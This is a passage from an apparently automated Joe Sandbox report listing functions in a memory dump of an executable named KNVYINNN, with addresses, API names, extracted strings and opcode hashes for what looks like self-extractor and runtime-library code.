                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ItemText$DialogWindow
                                                                                                                                                                    • String ID: RENAMEDLG
                                                                                                                                                                    • API String ID: 445417207-3299779563
                                                                                                                                                                    • Opcode ID: dc965d09a174bd4708d94d9bb9f18024b119431b212ab041831bb5fbf7f35311
                                                                                                                                                                    • Instruction ID: d4b98b5653070536d547be7f95060408325fe27ec660699f9d6ec834b342485e
                                                                                                                                                                    • Opcode Fuzzy Hash: dc965d09a174bd4708d94d9bb9f18024b119431b212ab041831bb5fbf7f35311
                                                                                                                                                                    • Instruction Fuzzy Hash: 97210831E08B4182FB886B99A54433EA361EB66FC9F948134CB0D03798CEBDE5058360
                                                                                                                                                                    Function 00007FF7B1DE81FC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: RENAMEDLG$REPLACEFILEDLG
                                                                                                                                                                    • API String ID: 0-56093855
                                                                                                                                                                    • Opcode ID: 1a4f5e6a20bb9cc70eeb4bb789232372df0917a6162a5cfbb097bc42d3b8b643
                                                                                                                                                                    • Instruction ID: 3acf865666035fe566eed29cf1216997a9fd2e762cd67a040f3ce464f8d323d7
                                                                                                                                                                    • Opcode Fuzzy Hash: 1a4f5e6a20bb9cc70eeb4bb789232372df0917a6162a5cfbb097bc42d3b8b643
                                                                                                                                                                    • Instruction Fuzzy Hash: 40213021A0CA4781EB15AB59F894175E3A0FB6BB8EFD4403ADB4D4722CCEBCE145D360
                                                                                                                                                                    Function 00007FF7B1DE8100 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: EnvironmentVariable
                                                                                                                                                                    • String ID: sfxcmd$sfxpar$|%}
                                                                                                                                                                    • API String ID: 1431749950-2250001859
                                                                                                                                                                    • Opcode ID: 5ebb72a5e8a982ab6f35979a03fa1a1c747914a60e3bcfbf351a0b4a04fadc7d
                                                                                                                                                                    • Instruction ID: a70691ee2307679f803e1787204e2a00d31dde3cea23f0238eed78598e57d7df
                                                                                                                                                                    • Opcode Fuzzy Hash: 5ebb72a5e8a982ab6f35979a03fa1a1c747914a60e3bcfbf351a0b4a04fadc7d
                                                                                                                                                                    • Instruction Fuzzy Hash: 8C01F792B0924281FF14B718E8553B8E350AF3B7C9FC44035DA4D0635EEE9CE145C230
                                                                                                                                                                    Function 00007FF7B1DF307C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                    • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                    • API String ID: 4061214504-1276376045
                                                                                                                                                                    • Opcode ID: d2d5dee77805ecb0b117ea83281d398e3d03b99349bb268e48010d92f5dc65b4
                                                                                                                                                                    • Instruction ID: e96aefaa8fe762810f81ab88a420c2bd871a6fe60ff5cc3ed31a6d9844433bd9
                                                                                                                                                                    • Opcode Fuzzy Hash: d2d5dee77805ecb0b117ea83281d398e3d03b99349bb268e48010d92f5dc65b4
                                                                                                                                                                    • Instruction Fuzzy Hash: 4EF0C821B1969281EF44AB18F444378A361EF997C8F850439FB0F4625CDFBCD644C720
                                                                                                                                                                    Function 00007FF7B1DFBC18 Relevance: 7.7, APIs: 5, Instructions: 203COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3215553584-0
                                                                                                                                                                    • Opcode ID: 9c9de20841d539944c2e2734a215c0db355f363507e383f6c3ea5354cb677a9c
                                                                                                                                                                    • Instruction ID: 73f93b514f97c247b5bc87c9253ee864416d131e00e0ca923322a370e5e1659e
                                                                                                                                                                    • Opcode Fuzzy Hash: 9c9de20841d539944c2e2734a215c0db355f363507e383f6c3ea5354cb677a9c
                                                                                                                                                                    • Instruction Fuzzy Hash: BD819F22E1861249F710AF2D98806BDA7A0BB76B5CF844235DF0E176DDCFBCA645C721
                                                                                                                                                                    Function 00007FF7B1DD2C38 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$__std_exception_copy
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 588606609-0
                                                                                                                                                                    • Opcode ID: 9425b397b114e9e6a0efde5664ed46b8dc4f0dec1df3a6e86de8f8b54b8ea83d
                                                                                                                                                                    • Instruction ID: ecde3b83ff312da43075f574f59fca28141cca98ebac57f0aa43b56229cb3079
                                                                                                                                                                    • Opcode Fuzzy Hash: 9425b397b114e9e6a0efde5664ed46b8dc4f0dec1df3a6e86de8f8b54b8ea83d
                                                                                                                                                                    • Instruction Fuzzy Hash: 5041E462B0564695EF18AF5DD440178A360AB65BE8FD84631DB3C077D9EEBCE191C310
                                                                                                                                                                    Function 00007FF7B1DFC7B4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _set_statfp
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1156100317-0
                                                                                                                                                                    • Opcode ID: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
                                                                                                                                                                    • Instruction ID: e5db5e6c6f81475d88b33dd83e940f9fe3ae6a8a6e29bf561770311238a92dae
                                                                                                                                                                    • Opcode Fuzzy Hash: c8b051e27b68c6b043da78d9bda75542202bddee0f68464aef4353d6aee2ea9e
                                                                                                                                                                    • Instruction Fuzzy Hash: A1118226E1C64205FB54312DD441B75D3416F773B8FD84634EB6D066DE8FEC66A08125
                                                                                                                                                                    Function 00007FF7B1DE8190 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Message$DispatchObjectPeekSingleTranslateWait
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 3621893840-0
                                                                                                                                                                    • Opcode ID: 019665242f8665fb509ae50145d54e7cf4aa89eff02abeba548199eabc728336
                                                                                                                                                                    • Instruction ID: 999ca451ee27fc770e222b9c843f8de23f5dc0164cb06780aa019a5d3b8a67ff
                                                                                                                                                                    • Opcode Fuzzy Hash: 019665242f8665fb509ae50145d54e7cf4aa89eff02abeba548199eabc728336
                                                                                                                                                                    • Instruction Fuzzy Hash: D4F0AF22B2854282FB14AB78E455F3AA351FFB6B0AFE44031E74E4199C9E7CD149CB10
                                                                                                                                                                    Function 00007FF7B1DED35C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: __except_validate_context_recordabort
                                                                                                                                                                    • String ID: csm$csm
                                                                                                                                                                    • API String ID: 746414643-3733052814
                                                                                                                                                                    • Opcode ID: 2b38a1de481d78321f7277880c8bed003ac38ba3934367e6007bb91629b7ca46
                                                                                                                                                                    • Instruction ID: 9a034defa3c68f0ca53b820f00a483e4d852f088d6e216f94e523d2a9902a9d9
                                                                                                                                                                    • Opcode Fuzzy Hash: 2b38a1de481d78321f7277880c8bed003ac38ba3934367e6007bb91629b7ca46
                                                                                                                                                                    • Instruction Fuzzy Hash: C471C173508A8186DB68AB29D45027DBBA0FB26B8EF94C135DF4C87A8DCF6CE550C710
                                                                                                                                                                    Function 00007FF7B1DDA560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Concurrency::cancel_current_task
                                                                                                                                                                    • String ID: yxxxxxxx$yxxxxxxx
                                                                                                                                                                    • API String ID: 118556049-3283245749
                                                                                                                                                                    • Opcode ID: 0acf6a63004ff07cf9264d02caf4b6d027b4d84c8427ab3ba48c2d0ce34973c9
                                                                                                                                                                    • Instruction ID: 58ddc0bd8fc2be774fd54b91605c0d7e7d4916a8b08717bc01c19f6ff4a6fb8e
                                                                                                                                                                    • Opcode Fuzzy Hash: 0acf6a63004ff07cf9264d02caf4b6d027b4d84c8427ab3ba48c2d0ce34973c9
                                                                                                                                                                    • Instruction Fuzzy Hash: 07512C52B0464682EE18EB5AE905279D754BBA5FC8F94C432EF4D0FBA9DE7CE081C300
                                                                                                                                                                    Function 00007FF7B1DF8878 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharMultiWide$StringType
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3586891840-1550162156
                                                                                                                                                                    • Opcode ID: 6f3d3ad43b9a96d195d71ef3f312ae8b2dafe724fdeec22cf8d86a96ad5d9adb
                                                                                                                                                                    • Instruction ID: 5a2709004c1734772080f57571cf0c8b2dbf0e482170767bd8c1fde0b677a0e1
                                                                                                                                                                    • Opcode Fuzzy Hash: 6f3d3ad43b9a96d195d71ef3f312ae8b2dafe724fdeec22cf8d86a96ad5d9adb
                                                                                                                                                                    • Instruction Fuzzy Hash: 89419322B0578189EF249F29D8002A9A391FB56BACF984635DB5D077CCDF7CE6418311
                                                                                                                                                                    Function 00007FF7B1DD44C8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7B1DD30E6,?,?,?,?,?,?,?,00007FF7B1DD207A), ref: 00007FF7B1DD45BA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CurrentDirectory
                                                                                                                                                                    • String ID: UNC$\\?\$|%}
                                                                                                                                                                    • API String ID: 1611563598-2520791837
                                                                                                                                                                    • Opcode ID: a27231365f8fb5718fbddbdcd3b2f43621bf9e33d47d239f75a3384afd0627a5
                                                                                                                                                                    • Instruction ID: 9decb91fb234ed0ec6cae10bfd7c5fbba589752d892310cd0b3c68ab13a40a8f
                                                                                                                                                                    • Opcode Fuzzy Hash: a27231365f8fb5718fbddbdcd3b2f43621bf9e33d47d239f75a3384afd0627a5
                                                                                                                                                                    • Instruction Fuzzy Hash: A3415052A0864284EB24BB6D95011F9D3A1AF67BCCFC18035DB4E07E9EDFECE645C621
                                                                                                                                                                    Function 00007FF7B1DED7A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CreateFrameInfo__except_validate_context_recordabort
                                                                                                                                                                    • String ID: csm
                                                                                                                                                                    • API String ID: 2466640111-1018135373
                                                                                                                                                                    • Opcode ID: 5993ee1f3451b0f914cc0e1c5361945c7b5c9d301905bc6f0d74f68e28de466c
                                                                                                                                                                    • Instruction ID: 5655f3d5ec8af22927a6468e9cb801219a3951e9c08b9468a6d61ad1eaa44409
                                                                                                                                                                    • Opcode Fuzzy Hash: 5993ee1f3451b0f914cc0e1c5361945c7b5c9d301905bc6f0d74f68e28de466c
                                                                                                                                                                    • Instruction Fuzzy Hash: 7F516E33618B4286DB24BB19E44026EB7A4FB9AB95F904534DB8D47B59CF7CE450CB10
                                                                                                                                                                    Function 00007FF7B1DE44B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ObjectRelease
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 1429681911-3916222277
                                                                                                                                                                    • Opcode ID: cd4d900704566879d98567fef9490b84dabecf6da6ee5515843d63439d086197
                                                                                                                                                                    • Instruction ID: a650491d5b2fb162a4ef3c37af432bc61708e5510494542fae0ed3231107f946
                                                                                                                                                                    • Opcode Fuzzy Hash: cd4d900704566879d98567fef9490b84dabecf6da6ee5515843d63439d086197
                                                                                                                                                                    • Instruction Fuzzy Hash: 5F31413561874186EB14EF66B818A2EB7A1F799FD6F904035DE4E43B18CE7DD449CB00
                                                                                                                                                                    Function 00007FF7B1DD5054 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
